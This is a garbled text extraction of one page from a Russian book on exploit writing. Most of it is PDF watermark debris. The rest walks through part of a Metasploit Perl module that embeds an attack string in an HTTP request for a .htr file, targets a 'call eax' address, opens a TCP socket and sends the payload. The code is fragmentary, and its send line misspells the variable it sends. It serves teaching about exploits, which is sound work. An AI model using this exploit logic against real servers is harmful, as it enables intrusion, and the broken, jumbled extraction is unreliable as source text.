книги хакеры / Защита_от_взлома_сокеты,_эксплойты,_shell_код_Фостер_Дж_
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
i |
|
|
|
F |
|
|
|
|
|
|
|
i |
|
||
|
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
|
|
|
t |
|
||||
P |
D |
|
|
|
|
|
|
|
|
o |
|
P |
D |
|
|
|
|
|
|
|
|
o |
||
|
|
|
|
NOW! |
r |
|
|
|
|
|
NOW! |
r |
||||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
636 Глава 12. Написание эксплойтов III |
|
|
|
|
to |
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
m |
|
w |
|
|
|
|
|
|
|
|
|
m |
||
w Click |
|
|
|
|
|
|
o |
|
w Click |
|
|
|
|
|
|
o |
||||||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
|
.c |
|
|
|
. |
|
|
|
|
|
|
.c |
|
||||
|
|
p |
df |
|
|
|
|
e |
|
|
|
|
p |
df |
|
|
|
|
e |
|
||||
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
g |
|
|
|
||||||
|
|
|
|
|
n |
|
|
|
|
|
|
|
|
|
|
n |
|
|
|
|
||||
|
|
|
|
-xcha |
|
|
|
|
|
Здесь строка атаки погружается в запрос по протоколу HTTP к файлу с рас--x cha |
|
|
|
|
|
ширением .htr. В настоящий момент переменная $request выглядит, как показано на рис. 12.43.
Рис. 12.43. Строка атаки в переменной $request
73$self->PrintLine(sprintf ("[*] Trying " . $target->[0] .
"using call eax at 0x%.8x...", $target->[2]));
Закончив конструировать строку атаки, эксплойт сообщает пользователю о своей готовности к запуску.
74my $s = Msf::Socket::Tcp->new
75(
76'PeerAddr' => $target_host,
77'PeerPort' => $target_port,
78'LocalPort' => $self->GetVar('CPORT'),
79 |
'SSL' |
=> $self->GetVar('SSL'), |
80);
81if ($s->IsError) {
82$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
83return;
84}
Âстроках 74–80 создается TCP-сокет с параметрами, определяемыми переменными окружения. Для этой цели применяется API сокетов, входящий в каркас Metasploit.
85$s->Send($reequest);
86$s->Close();
87return;
88}
И, наконец, метод exploit() посылает строку атаки, а затем закрывает сокет и возвращает управление. В этот момент ядро начинает в цикле работать с соединением так, как того требует полезная нагрузка. Как только соединение будет установлено, запускается встроенный обработчик, и результат печатается на экране, как показано на рис. 12.9.